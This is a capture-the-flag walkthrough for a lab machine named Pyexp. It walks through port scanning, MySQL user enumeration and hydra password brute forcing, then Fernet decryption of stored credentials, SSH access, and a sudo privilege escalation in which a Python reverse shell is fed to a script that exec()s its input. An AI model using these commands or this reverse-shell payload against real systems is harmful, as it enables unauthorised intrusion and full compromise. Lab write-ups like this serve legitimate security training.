

Pyexp

Nmap

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nmap -sC -sV -p- 192.168.229.118
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 17:04 CDT
Nmap scan report for 192.168.229.118
Host is up (0.067s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
1337/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f7:af:6c:d1:26:94:dc:e5:1a:22:1a:64:4e:1c:34:a9 (RSA)
|   256 46:d2:8d:bd:2f:9e:af:ce:e2:45:5c:a6:12:c0:d9:19 (ECDSA)
|_  256 8d:11:ed:ff:7d:c5:a7:24:99:22:7f:ce:29:88:b2:4a (ED25519)
3306/tcp  open  mysql    MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
|   Thread ID: 50
|   Capabilities flags: 63486
|   Some Capabilities: Support41Auth, IgnoreSpaceBeforeParenthesis, LongColumnFlag,
DontAllowDatabaseTableColumn, Speaks41ProtocolOld, ConnectWithDatabase,
SupportsTransactions, IgnoreSigpipes, SupportsCompression, FoundRows,
InteractiveClient, ODBCClient, Speaks41ProtocolNew, SupportsLoadDataLocal,
SupportsMultipleResults, SupportsMultipleStatements, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: ExN^l$komS9cg\xeo"Xr
|_  Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.23 seconds
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mysql

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nmap --script=mysql-enum 192.168.229.118
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(root@kali)-[~/pg/boxes/pyexp]
# nmap --script=mysql-enum 192.168.229.118
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 17:13 CDT
Nmap scan report for 192.168.229.118
Host is up (0.072s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
3306/tcp  open  mysql
| mysql-enum:
|   Valid usernames:
|     root:<empty> - Valid credentials
|     netadmin:<empty> - Valid credentials
|     guest:<empty> - Valid credentials
|     user:<empty> - Valid credentials
|     web:<empty> - Valid credentials
|     sysadmin:<empty> - Valid credentials
|     administrator:<empty> - Valid credentials
|     webadmin:<empty> - Valid credentials
|     admin:<empty> - Valid credentials
|     test:<empty> - Valid credentials
|_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0

Nmap done: 1 IP address (1 host up) scanned in 3.27 seconds
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Potential users

```
root
netadmin
guest
user
web
sysadmin
administrator
webadmin
admin
test
```

Brute forcing mysql

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hydra -F -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.229.118 -t 32 -V
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[3306][mysql] host: 192.168.229.118 login: root password: prettywoman
[STATUS] attack finished for 192.168.229.118 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-31 17:58:09
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root:prettywoman
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Database findings

We find a table with a key and cred in a strange encoding.

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MariaDB [data]> show fields from fernet;
+-----+-----+-----+-----+-----+
| Field | Type      | Null | Key | Default | Extra |
+-----+-----+-----+-----+-----+
| cred  | varchar(255) | YES  |     | NULL    |       |
| key   | varchar(255) | YES  |     | NULL    |       |
+-----+-----+-----+-----+-----+
2 rows in set (0.381 sec)

MariaDB [data]> select * from fernet;
+-----+-----+-----+-----+-----+
| cred | key |
+-----+-----+-----+-----+-----+
| gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCPgEiLqmYIVlWB7t8gvsuayfhL00_cHnJQF1_ibv14si1Mbl7Dgt90dk8mK | UJ5_V_b-TwKKyzlErA96f-9aEnQEfdjFbRkt8ULjdV0= |
+-----+-----+-----+-----+-----+
1 row in set (0.081 sec)
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Attempting to decode in both base64 and 32 gives us no results. Time to start googling...


We find an article on fernet symmetric encryption.

<https://cryptography.io/en/latest/fernet/>

To decrypt we need the cred along with the key, thankfully we have both.

We can use this website to decrypt the key.

<https://asecuritysite.com/encryption/ferdecode>


Fernet (Decode)

[Back] Fernet is a symmetric encryption method which makes sure that the message encrypted cannot be manipulated/read without the key. It uses URL safe encoding for the keys. Fernet uses 128-bit AES in CBC mode and PKCS7 padding, with HMAC using SHA256 for authentication. The IV is created from os.random(). This page decodes the token. Generate a token here: [Fernet](#)

Token:

gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCPgEiLqmYIVlWB7t8gvsuayfhL00_cHnJQF1_ibv14si1Mbl7Dgt90dk8mKHAXLhyHZp1ax0v02MMzh_z_eI7ys=

Key:

Determine
UJ5_V_b-TwKKyzlErA96f-9aEnQEfdjFbRkt8ULjdV0=

Decoded: lucy:wJ9`"Lemdv9[FEw-
Date created: Mon Aug 10 21:02:44 2020
Current time: Sun Aug 1 14:20:34 2021

=====Analysis=====
Decoded data:
80000000005f31b5f46ea5894d37472946181bd53963a2460a980488baa6608565581eedf20becb9ac9f84b38efdc1e7250175fe26efd78b22d4c6bec382df4e764f262870172e1c8766995ac74bf4d8c33387fcff788ef2b
Version: 80
Date created: 000000005f31b5f4
IV: 6ea5894d37472946181bd53963a2460a
Cipher: 980488baa6608565581eedf20becb9ac9f84b38efdc1e7250175fe26efd78b22
HMAC: d4c6bec382df4e764f262870172e1c8766995ac74bf4d8c33387fcff788ef2b

=====Converted=====
IV: 6ea5894d37472946181bd53963a2460a
Time stamp: 1597093364
Date created: Mon Aug 10 21:02:44 2020

Now can ssh on to the box.

```
(root@kali) - [~/pg/boxes/pyexp]
# ssh -p 1337 lucy@192.168.206.118
The authenticity of host '[192.168.206.118]:1337 ([192.168.206.118]:1337)' can't be established.
ECDSA key fingerprint is SHA256:vCsf55xm10zZX+ZdWt1UgdqD+IW5M7Nl1JHt4zfEzzo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.206.118]:1337' (ECDSA) to the list of known hosts.
lucy@192.168.206.118's password:
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64

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permitted by applicable law.
lucy@pyexp:~$ ls
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System enumeration and privilege escalation

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sudo -l
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lucy@pyexp:~$ sudo -l
Matching Defaults entries for lucy on pyexp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucy may run the following commands on pyexp:
    (root) NOPASSWD: /usr/bin/python2 /opt/exp.py
```

We have sudo rights to this small python script, we cannot edit or delete it so, let's examine the script.

exp.py

```
uinput = raw_input('how are you?')
exec(uinput)
```

The script is pretty simple, it takes our raw input and executes it.

```
lucy@pyexp:/opt$ sudo /usr/bin/python2 /opt/exp.py
how are you?print("ehllo")
ehllo
```

We can run python commands in it, let's see if we can run a reverse shell from the script.

Python reverse shell.

```
import
socket, subprocess, os; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((
"192.168.49.206", 9001)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2); p = subprocess.call(["/bin/sh", "-i"]);
```

The command.

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sudo /usr/bin/python2 /opt/exp.py
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os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```

And we get a reverse shell as root!

```
(rootkali) - [~/pg/boxes/pyexp]  
# nc -lvnp 9001  
listening on [any] 9001 ...  
connect to [192.168.49.206] from (UNKNOWN) [192.168.206.118] 50920  
# id  
uid=0(root) gid=0(root) groups=0(root)
```